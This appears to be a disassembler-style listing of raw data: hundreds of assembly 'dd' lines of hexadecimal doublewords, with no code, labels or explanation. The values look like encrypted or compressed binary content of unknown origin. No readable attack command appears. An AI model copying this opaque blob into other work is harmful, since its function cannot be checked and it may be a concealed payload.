dd 0D877498Bh, 65B7B4FDh, 16F71367h, 0EB2964DFh, 65A13680h
dd 0E9ED0943h, 0C233532h, 0E5176A60h, 0C6BCF4DBh, 0C9B2C1CCh
dd 2019DC58h, 22D04EDFh, 9B4A2EF3h, 72E9DC5Dh, 39E4AF61h
dd 3D7721DDh, 11E157AFh, 0C6E52BB9h, 2A36C97Bh, 0B13458C6h
dd 8D46828h, 0BB284F96h, 0AD2F8D2Ch, 21636861h, 9270B67Bh
dd 97D51B56h, 0E707A4AFh, 682E829Dh, 31B97A44h, 0EC151B5Dh
dd 0F4317A48h, 1704E5C8h, 2FC4FB90h, 3CC2C384h, 2DB57B06h
dd 53400A5Eh, 4C21CABBh, 9F10B892h, 0CFD13E07h, 0D48079FDh
dd 210C2C30h, 0ED55489Fh, 1B870D74h, 3F953AE9h, 0D5209A82h
dd 839647D0h, 0CC80C2C5h, 4E634D2Dh, 12AFAC4Bh, 57372368h
dd 4A77AC8Fh, 5A10FC46h, 0E85F40A0h, 812F9014h, 3A7CED00h
dd 52E947C0h, 0EFF9BF09h, 980FC2h, 940E1568h, 0C15E6D05h
dd 738005E6h, 4AEB9F22h, 63B4FCC2h, 9A7B3096h, 3E25007Fh
dd 62025548h, 449A5935h, 0DD6A4212h, 2F0C5B2Dh, 0E648FAE8h
dd 618FB4Bh, 0B04D8B48h, 53D98C7h, 5E0348ACh, 0F717C031h
dd 393835D8h, 7F01DF21h, 148307D5h, 0E1988020h, 0BA7C2ED9h
dd 0F96CE916h, 0E8F104A0h, 52B8F921h, 4E2BED06h, 1913C69Fh
dd 5D0BA853h, 0D5A58976h, 105FADE6h, 80D393C8h, 5113ACBEh
dd 600807F5h, 0A43E3734h, 0DA3D90D2h, 4326685Bh, 5DCB1464h
dd 0F1FFFAC2h, 358E0C53h, 0E1338034h, 0B312067Bh, 0ACE2C7C1h
dd 0A5E5D88h, 0EF395D6Bh, 0DEAEA7F9h, 6AD66242h, 18F8DD12h
dd 32AFCA1h, 0FEA81058h, 0A5AD3E32h, 9DF27081h, 5BEB1179h
dd 0F08A1371h, 57775D4Dh, 0DE41B22Fh, 98C66059h, 0CB01B20h
dd 0E4C0DD5Bh, 0CA2D1B8h, 0C331EF4Dh, 2203ED26h, 1747911h
dd 86C41DDh, 279E9A01h, 25846D9Ch, 0B3A5D89Ah, 37AC0B51h
dd 0FBC4B076h, 13511E52h, 40B4E095h, 0D64A7BFCh, 81AC6549h
dd 0C301178Ah, 0A070FC3Bh, 98261BBDh, 977F9A3Fh, 17DAAFE4h
dd 5F220B0Ch, 0D125154Ch, 251CCC21h, 2B9A61CAh, 39C1D110h
dd 4BFB2297h, 84BA0037h, 0A7A3E15h, 14E8A035h, 0C1323783h
dd 0F344F205h, 68792CABh, 0D3334525h, 0C834681h, 1260E913h
dd 89374993h, 0D8283654h, 0C9D60813h, 0A4A0205Ch, 0F8D02AF5h
dd 0F401DD5Eh, 0DBA65CE5h, 0E28991A4h, 0F6F32E22h, 769F7A38h
dd 0D4B47F13h, 0DA52EA1Ah, 27605DBEh, 8994CC0Fh, 0AC865584h
dd 0C1EED2F0h, 13542961h, 0B9EDCC52h, 6E2C6607h, 0B11EB50Ch
dd 0F1E62EB4h, 0E310A712h, 0F358009Ah, 386203A5h, 0F9EB4F68h
dd 0A3D019CCh, 0B52FC7D5h, 1407ECB7h, 282AD9B7h, 9CF1FAFBh
dd 660281F1h, 0F16FB450h, 4A006FDEh, 0F07E781h, 2C037B11h
dd 455EB89Ah, 0D8BBB1ACh, 362D6896h, 0B6A4650h, 4C2673A4h
dd 7DA3CAF5h, 1366640h, 0E4A38282h, 0D1572937h, 5E753E3Ch
dd 34D3E4CBh, 778FD1CFh, 767F54E6h, 693ABFCDh, 909CD95Ch
dd 5A56CD01h, 9D42E2C1h, 590649F4h, 6309036Ch, 0DF44A48h
dd 5C230442h, 0F99C0C62h, 0F109F72Ah, 3852CE68h, 8A85E942h
dd 21C2BF5Eh, 6281742Ah, 14DD110Ch, 0B7530141h, 307FB13Fh
dd 10CB3DF9h, 11583D7Eh, 1C5E5A10h, 3E820C04h, 40345D2Ch
dd 7358C2B8h, 30E52C80h, 447E2517h, 6440D896h, 950399B8h
dd 0F92D030Ah, 0F721FE42h, 68A9BEFCh, 6B050801h, 7A7DC0DDh
dd 0F60534A1h, 5CED5A57h, 3A220DF1h, 4BC322D8h, 9F4B2984h
dd 0D1302854h, 0B389EB9h, 0CD3156D1h, 6709908Eh, 8B4F977h
dd 0D924AEEEh, 2A9BF08h, 21B06857h, 0A70B31CCh, 8013EF31h
dd 3E4DD55Dh, 84494F12h, 0DC81C023h, 315A6BFBh, 4DB9094Dh
dd 58103760h, 14811D49h, 32EA3064h, 68C30484h, 0C8A303B2h
dd 0F6196D0Eh, 34CF81C0h, 0E587B43h, 1C1E07D7h, 0CAC053ACh
dd 0B0BD7CCDh, 50375D41h, 0BE145B3Bh, 984FA7F6h, 0BA0716Bh
dd 0D92410C6h, 0A50C8169h, 0BBB16F5h, 3C1B63FAh, 24FD0B77h
dd 0E2AA9090h, 7F24836h, 53372B03h, 0DFAF5EF2h, 65B1A146h
dd 7FF9E030h, 0C56602Fh, 0E9C779A1h, 94BAD597h, 0BB026F41h
dd 32691A63h, 15E8DD16h, 862F0ECBh, 65A65101h, 2A41855Ah
dd 5F5C2718h, 0D1DF1762h, 55C5001h, 0CFFD8809h, 85407FF1h
dd 1F1E7617h, 0EE145E27h, 68936707h, 6DBF5B14h, 4265D58Fh
dd 0E350866Fh, 28342D05h, 0B7E6273Bh, 9888FB4Ah, 87B15AE9h
dd 0C2D33441h, 6D7D0359h, 8C1A118h, 51057E99h, 7582AEB5h
dd 6EAF54B7h, 46EA16E3h, 3F9E4805h, 0FAF07455h, 5F08A0E9h
dd 0CEF0F05h, 0C8CB0A7Eh, 0DC8D8F6h, 0E9D02903h, 9DEA9C63h
dd 7D42EDDCh, 0F0EB01CCh, 584E9B6Eh, 265B0E85h, 0F0FF8501h
dd 0EE514808h, 791C3A8Ah, 7121C09h, 25788F3Ch, 50BFD340h
dd 812C3D00h, 627865F5h, 0D0D09F64h, 5E14DE97h, 0F45EE97Fh
dd 405D14A4h, 0D12D6805h, 45D6FB4Ah, 7E88805Ah, 5E4E2311h
dd 2E5D5AA4h, 1625DF1Ah, 2C98A10Ch, 0CAEFB48Dh, 49E90973h
dd 0C3397F2Ah, 0C6A27A53h, 417A5B48h, 0FCF0C1F7h, 0D79866B4h
dd 0F828481Dh, 805A5B81h, 0C3CC4CEBh, 0E9CCE122h, 0AC2E4E5Ch
dd 3150DF13h, 11CCBA4Bh, 0FEED2E91h, 0DD084B03h, 0E93A2CBFh
dd 0B8F545D5h, 9774D825h, 3608F82Bh, 70BF0163h, 0E84D4C19h
dd 0A0977721h, 3C7FD85h, 0D640F602h, 50192091h, 0C0F8F2B0h
dd 2ACA5655h, 0F6270BF1h, 7B62E525h, 0CAC579F7h, 0EB798895h
dd 0E1A7127h, 0D9E49ABDh, 95198043h, 3B0CFD33h, 51092AE9h
dd 4A580BF7h, 2E8057ADh, 31D4CF8h, 251F18C7h, 53C04114h
dd 4ECED255h, 1DCC3BDh, 0F8E9C2B4h, 3B92378h, 2674F24Bh
dd 8A000A9Ah, 9B1ECD8h, 2185F531h, 6855A4C5h, 270EF931h
dd 416E2A13h, 3CD13B8Ch, 83F12BEBh, 0A207903Ah, 1E011873h
dd 0FF15E105h, 25432D43h, 37B08CE9h, 5CC70980h, 0C575FA30h
dd 0A7F09F57h, 0ED27EA48h, 90575D80h, 9DAB20B9h, 0F9F75C17h
dd 0BF9284B2h, 6800EC8Ah, 440251E2h, 0D6506E9h, 1EB4240h
dd 9D758D2h, 36A1114Dh, 534F5507h, 26A9A689h, 2B13FF54h
dd 0EBDB74BBh, 5C8425FCh, 0C26C8031h, 47D22CE9h, 0B2178EECh
dd 0EB77AA54h, 5AC2EBB3h, 1539AEEFh, 82865930h, 2195545Fh
dd 67969D21h, 6BEF025Eh, 5F15A90Bh, 0B355E28Bh, 0C3B5FFA1h
dd 97030AEh, 44B04A27h, 0F9E6AF09h, 69BB7108h, 0F8318C83h
dd 1AEAAC02h, 0C14F6009h, 24DC6C54h, 0EC6A9D2Eh, 20B20808h
dd 7E92514h, 70C6C290h, 0F7760E0Ch, 1E3F26D0h, 1E0BAA73h
dd 41D182D9h, 5F56E0E9h, 33083E24h, 515E0BBEh, 0A9555402h
dd 76BDDF64h, 0DB5A2F74h, 89F13E29h, 4BE052BEh, 0EC379286h
dd 0DB7A0BF4h, 93C031DFh, 0D41ABDEAh, 0F7903657h, 29296278h
dd 7C0BAACEh, 0A52DC516h, 27A2C5D7h, 921085Bh, 0E1FA6A34h
dd 2C96BC8h, 84FAF96Fh
dd 0B4AA0B35h, 101228AFh, 7909B7AEh, 0D7D875D3h, 981A245Dh
dd 0F64156B6h, 17CAF248h, 0A627B0E9h, 63C4105Fh, 7BF7E140h
dd 20C62CA6h, 3110C1h, 52263BBAh, 16C9BE37h, 0FDC8ADD9h
dd 0F4FC5A3Ch, 9D3C1E17h, 0AAE93F7Fh, 0AD8C6813h, 116E160Eh
dd 0F31881E3h, 0DF376518h, 539DDA01h, 0A86A9BBBh, 0AF3DC20h
dd 639556C4h, 6C2F03EAh, 1801791Fh, 0CAE8BAF7h, 0A421DA29h
dd 0ED6D912Ah, 0E7CFE46Bh, 0F0EA0132h, 56A9F510h, 28562812h
dd 0E91502CBh, 0EEE558D7h, 55AFA2CAh, 5912637Ch, 0AEB431A8h
dd 847612A3h, 0F1CB5B4Eh, 0E8CA4212h, 1336C138h, 0F1E1439Bh
dd 8234FDFDh, 595CC9F7h, 2688FAF5h, 0CB2ACF2Ch, 0E9504654h
dd 3EC76360h, 6FB9CB31h, 12D02E4Eh, 2FBB15F2h, 2ED41BA3h
dd 54C0EC12h, 9541E05h, 0D8293199h, 7A62A402h, 2C28C55Fh
dd 0DE555202h, 8D652F54h, 2727669Eh, 1328BB8Ah, 11E8542h
dd 23A5416Eh, 0BE806B29h, 9061A257h, 85E91722h, 4A684114h
dd 2F0E5234h, 6C533EC2h, 7AD0FE69h, 0D4035878h, 7BFCDF20h
dd 2C74EFB0h, 0B1B2521Fh, 0F8026BBh, 56CB542h, 0ADDBB5Bh
dd 0E477FC6Ah, 483F3FC6h, 0D725A658h, 0D601DCE1h, 0B57AECF5h
dd 3D71555Eh, 4F7FFDA7h, 82CD09F4h, 0D74B7B79h, 71D57D32h
dd 678B9F2Dh, 51BDCC5h, 25F02571h, 9E57D289h, 61F99F0Fh
dd 1D0F3208h, 9E388A50h, 1DD78AC0h, 1E558884h, 55EF8109h
dd 0CD23878h, 4144E1AAh, 2FB572FAh, 8AB671AAh, 9FFB04F0h
dd 0FFB25EE3h, 0C2BEF4Bh, 45393E2Eh, 58F79135h, 418E7E28h
dd 8402EC10h, 5C0ACFD7h, 8D89CFA0h, 51954D50h, 4C25D3E2h
dd 6A7F4A19h, 67C5F1BAh, 0E6596BECh, 67165E65h, 0A84E85A7h
dd 93E9844Ch, 96683990h, 1258BB18h, 0B837EECCh, 3F2BF783h
dd 235AB4E5h, 0BF152D3h, 9AA53C41h, 0DFE5575Ch, 1CC05BE4h
dd 5D1812h, 104E2D5Fh, 0D001196Bh, 67070551h, 5F86382Bh
dd 0DA15C332h, 109425D3h, 368A8AF9h, 0CE948805h, 16EA4AB1h
dd 0D709F2F4h, 13809AFAh, 0D71253E9h, 9693B6EBh, 0B0F874FFh
dd 44007D02h, 0E2812DC2h, 0BDC93379h, 0F3C507Eh, 7FBF4DCCh
dd 0C580EA8Eh, 7495713Fh, 4B3A1381h, 9FBEF33Ah, 599B1289h
dd 770C88C0h, 0E76B5728h, 9C14DDA8h, 0BB6076FCh, 7391B926h
dd 7E6458E6h, 8665EC04h, 63841C2Ch, 55015BADh, 3160A1C9h
dd 0DD0BFED7h, 6CC7D42Fh, 433DD34Ah, 3898E989h, 35400011h
dd 57E11083h, 40F020Dh, 19E9342Ch, 0F6C520DDh, 4B9B53C6h
dd 0B0DBAC2Dh, 13130FABh, 0B075E978h, 3398490Eh, 0EC309641h
dd 937C00E1h, 18055857h, 0BC4F26C9h, 0A917AEFCh, 598B2C0Eh
dd 0DA5F682Dh, 0BF2208Ch, 3C09059Dh, 457310BFh, 3C6FD8A0h
dd 10C44950h, 17EFBFD7h, 587BB65h, 0EA97DA27h, 302189Ch
dd 5398B551h, 0FD8299B7h, 952BE760h, 98F33180h, 4FB3361h
dd 0D4FBD0A5h, 99E7AAE4h, 16D9A019h, 9FFC3A05h, 0A7965D3Dh
dd 0F277ABC4h, 58F3ECE4h, 18FD0B04h, 3A05AB08h, 4198D931h
dd 204F0F89h, 0EDDF759h, 4BFAB850h, 0CC0AE057h, 0B2279F0Bh
dd 0E651824Ch, 2983C6DEh, 0D9155536h, 367FD0DBh, 0C2906069h
dd 995C9F40h, 0E5F184F9h, 790A92FEh, 0F0A642D5h, 1BE6BDCDh
dd 926AE92Ah, 2A906804h, 5DB8274Ch, 890F9231h, 8605E7CBh
dd 62191457h, 79391CBBh, 0EE91C8Bh, 66B7BBD0h, 0F80D3B99h
dd 0F72E1700h, 610540D8h, 52AB6716h, 0A060D21Dh, 0B5EFF301h
dd 20058CC9h, 1A7CCC80h, 51646560h, 9D203463h, 890B69D8h
dd 0A95559CDh, 58B55E9Ah, 135BDCE9h, 17E95BEEh, 0FE295E80h
dd 0F4EC875Fh, 512ACF07h, 834FB013h, 681201EFh, 0EEE36177h
dd 50FAD407h, 0B4C7E593h, 274A3CDDh, 578064E3h, 110948BFh
dd 0CE801F5Ah, 96533FE9h, 83D5A54Ch, 0E9F30130h, 1A9A70C3h
dd 2F5FE45Ah, 0DB9E8555h, 4EF390F5h, 1418BA1Ch, 33574F44h
dd 696C478Dh, 0A7E1DC82h, 42C2BFBh, 0A2F61FEh, 3E627568h
dd 722F3B29h, 54274E26h, 6772A662h, 8D52A57Ah, 0EEB1254Fh
dd 5E3F9E2Eh, 17F465BEh, 86CAFF55h, 0B816E985h, 0F28009E4h
dd 1769D46Bh, 1F770466h, 5BE023Ah, 29B44103h, 0EC1CF02Bh
dd 2F683840h, 36472528h, 0D71ED7AFh, 5A8F475Dh, 314D60AAh
dd 1B012844h, 107BE981h, 0E32A64C9h, 8BAFD2F7h, 0F6F66A7Fh
dd 0DE0CFB00h, 4944E906h, 1E4B00AAh, 556D4BA2h, 0C9C6B4E8h
dd 290B4517h, 80478E5h, 502642E3h, 0EE586544h, 0F0A8BB56h
dd 194AC3A8h, 0B8C489ACh, 77C249B5h, 74F4D1ABh, 8F96859h
dd 3C68AC4Dh, 0F87C0701h, 442D5851h, 2F2D0B06h, 350FDBF0h
dd 5DC966DFh, 43447442h, 8458C316h, 536AB202h, 0C009BA7Ch
dd 70CC54E5h, 784BF968h, 0C61848CEh, 0D1CBC30Dh, 24265412h
dd 95018CECh, 317DD066h, 0EA1F30DDh, 0FA295D07h, 0D7CB215Fh
dd 2CE1E74Ch, 43F15EC9h, 2D575CFEh, 0D3E991F1h, 4A51AF8Dh
dd 61065E4Bh, 33783E68h, 58541E30h, 79A5B09Dh, 0FCCF88A9h
dd 4F3A402Fh, 1815E881h, 0E3DCC02h, 0FD13EBC7h, 6709C373h
dd 8E947C5Fh, 649D6EBEh, 5765AF72h, 9FE155E4h, 5259273h
dd 1E96A30h, 92D91C5Ah, 327A05E5h, 21D0F718h, 6E7F7B95h
dd 68E70590h, 0E435708Ch, 0D06E0D81h, 6357C041h, 9195622Ah
dd 822A4C7Dh, 0D16860CDh, 22BB0E0h, 3501C083h, 0E05DE3FDh
dd 9D092C85h, 8EA03451h, 0BF0EC6B2h, 40C175B6h, 0E68DFF7h
dd 5644A879h, 2E19F453h, 8B7C043h, 57178B49h, 0E44A3CB6h
dd 0E725E98Ch, 11EEDD18h, 7F2F5DB6h, 0FE5BAEB3h, 80308DF5h
dd 5A7A401Eh, 81D52900h, 9F2D41EDh, 93B947Ch, 917F0714h
dd 80715082h, 0AD8B092Ah, 8BD63C09h, 0A31719A6h, 54364A22h
dd 0BD584AC6h, 0C152990h, 210BF9E9h, 99F997EAh, 681074Ch
dd 0BF6007CAh, 93F8A81Ch, 0C6007582h, 326C40F9h, 8635590Fh
dd 0A92C4FB5h, 0DF3F82C3h, 4A92E05Bh, 83C99E17h, 2B7098F8h
dd 0AE20C4DFh, 7AA6A931h, 3F45396Bh, 0DC686680h, 0CAF7916Ch
dd 2D700265h, 0A8DD3E76h, 222808D4h, 5DD34525h, 22A9359Ch
dd 110B2FE6h, 0A3A40E52h, 0E12CFE2Dh, 958039B6h, 61235CEDh
dd 81EF556Eh, 43186AB2h, 80A05E01h, 0EC5D5E07h, 95CF34Dh
dd 2674E9B9h, 126A9F33h, 8809C1FDh, 97C3DAFDh, 1087BF4h
dd 0EBDA3B6Ch, 261A8943h, 4C1B780Bh, 814AE356h, 6B055E74h
dd 5E7B7FE8h, 0CA5B1275h, 0F1597EC1h, 386802DAh, 0FE34585Eh
dd 32A73E81h, 0CF1E4252h, 5644F987h, 0CBBEFEF1h, 0D67C6246h
dd 4CD7092Ah, 80DC9763h, 857F63C3h, 8B48A2FAh, 0CDE3DDEBh
dd 4EE0C5Eh, 0E8C1E9D9h, 0CC727F74h, 0E302D974h, 86D1F658h
dd 81EA59CBh, 7E905B6h, 0D3A57C37h, 57689060h, 2F40A52Eh
dd 957F96F7h, 84BEB85Dh, 8E9C5CC8h, 3987E028h, 0CC4B7168h
dd 765ED556h, 447B6340h, 5E21404Fh, 0A0ECA0C5h, 5C13F0ECh
dd 0F0ADCD01h, 5C1677E6h, 70AAEA31h, 9866F500h, 0CD426EC5h
dd 0DFC5E1F8h, 95588C23h, 0F16E8241h, 971CFCC6h, 0AFA5D397h
dd 57E453DEh, 0F34C17FBh, 0D62DD6EEh, 4F7F4A7h, 39BA0CFDh
dd 0D10812DBh, 578CCF5h, 520538EAh, 4B8B55Fh, 0D606E208h
dd 0A4C561FFh, 3CE33FFBh, 0EB7E2812h, 0E3FC84DDh, 1AD94FEh
dd 0FB0713F2h, 0A073F002h, 39D85181h, 388592B2h, 0AE4E13C1h
dd 49F31F28h, 0C904A526h, 0FF0C7312h, 2F87DEC0h, 0FB2B5A74h
dd 0E9DFD402h, 0BB8CE897h
dd 480EF8C7h, 0C5356B5Ch, 24C1EA0Dh, 0AA2F604Bh, 0DAE2BA20h
dd 748E0537h, 203AB668h, 34090743h, 1812035Fh, 7E8FFF09h
dd 27312F50h, 3A3CF5FEh, 1FA2613h, 0D9436F3Fh, 0C30C804Bh
dd 5F03293h, 9940124Dh, 4B10AE27h, 0CE90907h, 255F1051h
dd 121A0B8Eh, 3704C331h, 25BCA9ADh, 7919C2D3h, 0E0547225h
dd 2D8BEC69h, 77A703FCh, 7A120046h, 0F4BDBA52h, 0D5562DB2h
dd 0E9F78B39h, 58AFE13Eh, 0BAD3A06Ch, 28E92F2Ch, 5F9DF77h
dd 0E6146835h, 90DC523h, 0DC05FCC0h, 500AAC8h, 0F5E9C731h
dd 0B756BD43h, 5F8E68C2h, 7FF747F8h, 0B7F8EA7h, 33885610h
dd 0FBED982h, 0A50CD6B1h, 0F705781Dh, 0E9B0C328h, 93AA0251h
dd 37E5F768h, 213B83Bh, 594893F5h, 75DAD790h, 0E9C336BBh
dd 16F360C8h, 7EAF6FF8h, 0E3FA1D98h, 5B132EB4h, 5F1648BDh
dd 7A938923h, 0D3364B25h, 79C526E2h, 241A255Bh, 9E975C8h
dd 73DD0F4Ah, 209E82Ah, 71F56AC7h, 5505FD5Bh, 66BC0050h
dd 890A9043h, 2F3CC85Ch, 60C0568Ch, 0A0233AB8h, 182F4B7Eh
dd 0A64922FBh, 0CA310267h, 688476F9h, 3CB75E9Eh, 7A231D05h
dd 493A103h, 65A8B007h, 85058673h, 0D7E9D821h, 6858E0A8h
dd 0A0F4C21Dh, 979F73A0h, 0FA32939Fh, 60687537h, 6DF57EDh
dd 5B3B02E7h, 0BC440CBEh, 2D7F0D49h, 7E8BF5EFh, 8927CECCh
dd 0D9185D5Fh, 599DBD22h, 19D3A5A6h, 0F41B860Bh, 0FFEE645Dh
dd 0C17B06E1h, 2844ED57h, 8F84D28Ch, 147BB501h, 137F7E65h
dd 8CE2EAFDh, 9AE73A78h, 25A5FF3Eh, 4FB5F400h, 594AEB28h
dd 88DFC7EBh, 1E9B902h, 0E8B2A402h, 0E418ACFBh, 5A535FCBh
dd 3A25E75Dh, 169977Ch, 0F1E4E58h, 56122Fh, 0E90D8FDAh
dd 0B6A88D40h, 0CEF8E0C1h, 0B4505903h, 0DFC4FEA8h, 4C060126h
dd 175EFD84h, 97ECE851h, 5FC422BEh, 0F9F6214Ah, 4BA920C4h
dd 27DC7010h, 4904D35Ch, 888B455Fh, 73246B8Ch, 3182DA00h
dd 0FACF89BBh, 1AF664A1h, 0CDCDEA59h, 2D584E81h, 60842C97h
dd 6340B1C9h, 5B9090BDh, 8501FA3Ah, 0BB53C201h, 2EE80B44h
dd 24E95805h, 0FCCCAA1Bh, 0BEEB6EB1h, 682CC800h, 0D9E66659h
dd 0B1A81A74h, 25BF97B4h, 91AADD60h, 5CEF16h, 9088B1B0h
dd 3BCC2D0Fh, 68E31F54h, 93F1513Dh, 91012E64h, 0ED12125Ah
dd 0DBCC6266h, 6CF7095Ah, 2711984Ch, 8C71A4A6h, 4BE8CA01h
dd 0BB600730h, 0B0208433h, 0E6D12F9Eh, 0FA035D0h, 0AB2D1018h
dd 97FAF8FDh, 6D326730h, 0C100DD82h, 68C83118h, 813B3C22h
dd 32695280h, 2BDE982h, 41BDF166h, 0E650C765h, 4A21685Dh
dd 211DB37Fh, 81BC2CBDh, 55624FBAh, 68D5E548h, 0B3BEA01Bh
dd 0B7AA249Dh, 2E430BD5h, 627FB889h, 0E908011Ch, 31822991h
dd 13DF0670h, 14036E57h, 4620D168h, 4144F081h, 0DEA72F63h
dd 4AFDBD4Fh, 8839D8EEh, 0C435A14Dh, 0C88C0329h, 51CE3988h
dd 0E8A5F1BEh, 0E59D71F0h, 13C0A466h, 586C49CBh, 924C0A85h
dd 705566E5h, 767232F9h, 6CCDD5Bh, 0ACE8212Ch, 0DBDE513h
dd 0B387F4C4h, 5F548BF3h, 0B584974Ah, 45D0B95h, 1F16AC37h
dd 30444C56h, 0D95008F9h, 0F45C6FABh, 5199815Ah, 107E4A4Bh
dd 0EB5EC7C7h, 8AE96904h, 9443CFE1h, 716EC1D6h, 36F68D81h
dd 8E2ED213h, 0A978ED0Ch, 4B6A7A91h, 80D802ABh, 49D7F5C6h
dd 1ED3C221h, 0CF5B303Fh, 0A8662594h, 29929F1Eh, 4ABDBAF2h
dd 15CC1AFh, 77300921h, 0C0415F74h, 92350999h, 4AE91E4Eh
dd 71F6EB04h, 0F33280F2h, 961F3E6Ah, 0ECE7F752h, 0B5DE4E51h
dd 729C0578h, 6BD95E7Ah, 273D71EBh, 5A253473h, 0FC5124F8h
dd 3DB81AF2h, 883FDB07h, 0CB65201h, 2030EE80h, 478D4FE3h
dd 3CAF75F2h, 5F5CFA8Ch, 0B2E909DCh, 0ACB4FD20h, 0E90D0247h
dd 0D851122Eh, 605C0F31h, 0A987C2Bh, 0EC5F640Bh, 33B10154h
dd 0E8CB8C50h, 9DFF3A05h, 8F4C3855h, 0C34BC990h, 48312A57h
dd 35AE8E12h, 3912BA2Ah, 0B447148h, 0DE5B5B58h, 0C5ABCBE5h
dd 41A3BE9Bh, 0BC894C25h, 0FC636E77h, 5BB8BA55h, 0FE37125Ah
dd 0E957BA70h, 0AC4D5B80h, 2DD48149h, 0A02F74A8h, 8BB76072h
dd 42857DEDh, 0C2E9A3F5h, 68CEC8E9h, 7928C5F2h, 0E3DF20C7h
dd 1B585763h, 8729C032h, 0DDF732EAh, 216ED209h, 3119EF2Dh
dd 35242098h, 0F745FD29h, 5D79A0BEh, 0B20BFF95h, 0E98B8745h
dd 0B37BD8E2h, 42B83D1Fh, 0B409AD4Bh, 0D4D69EE2h, 7831EF9Dh
dd 4765D88Ch, 9C401431h, 0B0F30F77h, 8AA0E7A7h, 0D9E3A108h
dd 0DC9BD5E6h, 6FA49BDh, 0AB488304h, 0C3304EE1h, 4A2605FEh
dd 0FEDBF716h, 730E9101h, 0F93E1518h, 0FEFA0627h, 0F549C850h
dd 4F68ED6Bh, 4089DBF4h, 0DB9D5835h, 0C0F6ACD7h, 0F581E5D1h
dd 4BC71F0Bh, 74E289D6h, 0C8298B72h, 0DD791248h, 2F878082h
dd 7C11045Eh, 957D2547h, 5569B4E5h, 0CA6C3779h, 0AF1813C6h
dd 6050FF2Dh, 38345508h, 0C28B4007h, 25D47919h, 0DADBE34h
dd 24D88249h, 0EF58313Dh, 0D0616974h, 23B322FAh, 0DF826478h
dd 0E192CB63h, 1108D1DCh, 0F82912B5h, 9FE5ADDh, 75FB5FF2h
dd 5C5EB809h, 0E64EF47h, 0FB1CA492h, 0ECEED097h, 0FF870F1h
dd 0DAF659CAh, 0FEF48242h, 2D653457h, 950BC0E9h, 0A3274750h
dd 4AAD98ABh, 70D19F10h, 0E4CC9089h, 5DD2F0A6h, 0AA258758h
dd 1E6F56D4h, 0C1F2FBD3h, 76A7284h, 0E125F488h, 7F12BAF8h
dd 0BE71AE9Dh, 5C002FFEh, 5F662B68h, 217B8AFh, 6F83BE56h
dd 8FC16276h, 94E62D86h, 1AFA4BD8h, 0D05F0CD5h, 9C0BDE1h
dd 0E8B76512h, 13415315h, 0A4A0AE1h, 0A6448DADh, 0FF151977h
dd 70E23E14h, 12D6C785h, 236298AEh, 4E7C8D56h, 25E9EA2Ch
dd 677F69CDh, 0ABFA1686h, 0E9164CCAh, 55174A7Eh, 777A0281h
dd 88607DC2h, 3E2E4DEBh, 6D00081Bh, 2D0A1467h, 7C370364h
dd 0DE24E9FCh, 5FEBAE4Fh, 3D71043Bh, 0BFBE8001h, 0BD2F067Eh
dd 0D47E4029h, 49DB97BAh, 6E7C400Bh, 8C6818A9h, 191BCF6Ah
dd 0F4A50091h, 4D7F5AF5h, 0C1D5263Eh, 2A258868h, 0D5A80631h
dd 3A86392Ah, 0BFA5E3EDh, 5AA450CCh, 7B2DAE53h, 2B1E9D3Bh
dd 332169CDh, 173BD5A8h, 85C6A217h, 0D34F08F3h, 2CF7500Dh
dd 791660EAh, 612C5847h, 0ECE9D809h, 0BF0D0760h, 46CB111Eh
dd 71ACFD8Bh, 98A288C4h, 0FB0BC820h, 0DF322E11h, 3408F6A8h
dd 74ACBA0Ch, 1643E909h, 50B18DFh, 204C2801h, 32549F08h
dd 665FE904h, 0B9F24FD3h, 0D739136Fh, 866EE407h, 0DBB4B17Bh
dd 33D87AFEh, 9D5A5BEEh, 8BBC6093h, 24286C9Fh, 0C3F97A06h
dd 2D105C4Dh, 3650D472h, 9E75F003h, 9EB810B6h, 14428A96h
dd 0DEDEB450h, 357C3C95h, 8022165Dh, 4503EBE6h, 3B0E7724h
dd 7802F801h, 51614358h, 0E1991282h, 0C862687Bh, 47A4E41h
dd 592DCAF9h, 0C02643D9h, 0C59D8722h, 3C1A3FD9h, 61F5B14Ch
dd 0E73AEAF5h, 0A11C0E9Ah, 5C831380h, 463FDAE9h, 90E7E629h
dd 2220000h, 0E9567B61h, 2FE10538h, 0FE9263E9h, 0E9829FA3h
dd 1C7D7E86h, 97E9832h, 784B563Ah, 39274F6h, 0EF3C20EEh
dd 53268BBCh, 0E9061C69h, 3380987h, 0EE86CE88h, 878D5F6h
dd 0E066F125h, 3CBEB320h, 5B32D928h, 20C2090Eh, 0C72573F4h
dd 0BA5D2746h, 0D19F10CAh, 635D8268h, 591790C8h, 82014EFBh
dd 87825051h, 8B669A6Eh, 472468F8h, 98C6F373h, 3D63BDB7h
dd 0CF2DEBDDh, 724D806Fh, 31143BFEh, 8E5AD5h, 74E35925h
dd 5A5FFD09h, 0B66F984Dh
dd 2F2FD2E0h, 6C50F121h, 82D9C52h, 20E47C29h, 0FEE9BDCFh
dd 4B07C66Dh, 9AE4FA62h, 2D56808Eh, 0B503EFC0h, 0BB17C2D6h
dd 7878C5ACh, 61CA2EC2h, 4C961010h, 23751272h, 4E5C020h
dd 71104E6Bh, 5D62C63h, 0CD4673FBh, 7F0E76F1h, 4EDB23CDh
dd 8FD9EA03h, 4947BE3Bh, 6E40E781h, 0C14F2710h, 0F71CC978h
dd 93C53ADEh, 505A4319h, 0C388403Eh, 67236F13h, 620BBE90h
dd 5766936Ah, 80DA4C2h, 514051Ch, 0E41E5486h, 4E165368h
dd 1DEE0C73h, 0BD0A8FFh, 29B3148Ch, 0C7E2B04h, 5AE09C5Dh
dd 2E4B865h, 440E1F7h, 0D1FAD742h, 23F77082h, 1246FD45h
dd 0FA478F10h, 3322A29Eh, 212F54Fh, 0D627F6BBh, 0AC104DA6h
dd 0B4804E42h, 0E1617E68h, 0A5E7A83Fh, 0EC13DC84h, 61FFC953h
dd 389BFE3Ch, 57729953h, 1646B460h, 0F1430E16h, 0E9D9CCE7h
dd 1610D32Ah, 0CEEBBE01h, 0A8055D30h, 2DD084D1h, 380925F3h
dd 0F30C2DFh, 9119407h, 443EF4E9h, 1556C8F5h, 60135726h
dd 4E402EF5h, 0B52FC9A6h, 7C77C562h, 26090211h, 0E7FC558Bh
dd 60DE502h, 0FEDC5571h, 382FD249h, 61D8FE33h, 2B78BFC9h
dd 6564A5A0h, 0B96F950Ch, 5F310B60h, 22C9FCD1h, 28524A28h
dd 0F2F85767h, 0C3D0885Bh, 714E97CDh, 40D6F82Ch, 4EB055B6h
dd 7CDFF627h, 5BDD507Eh, 9658C5B5h, 4E75ACA1h, 3D16DD8Bh
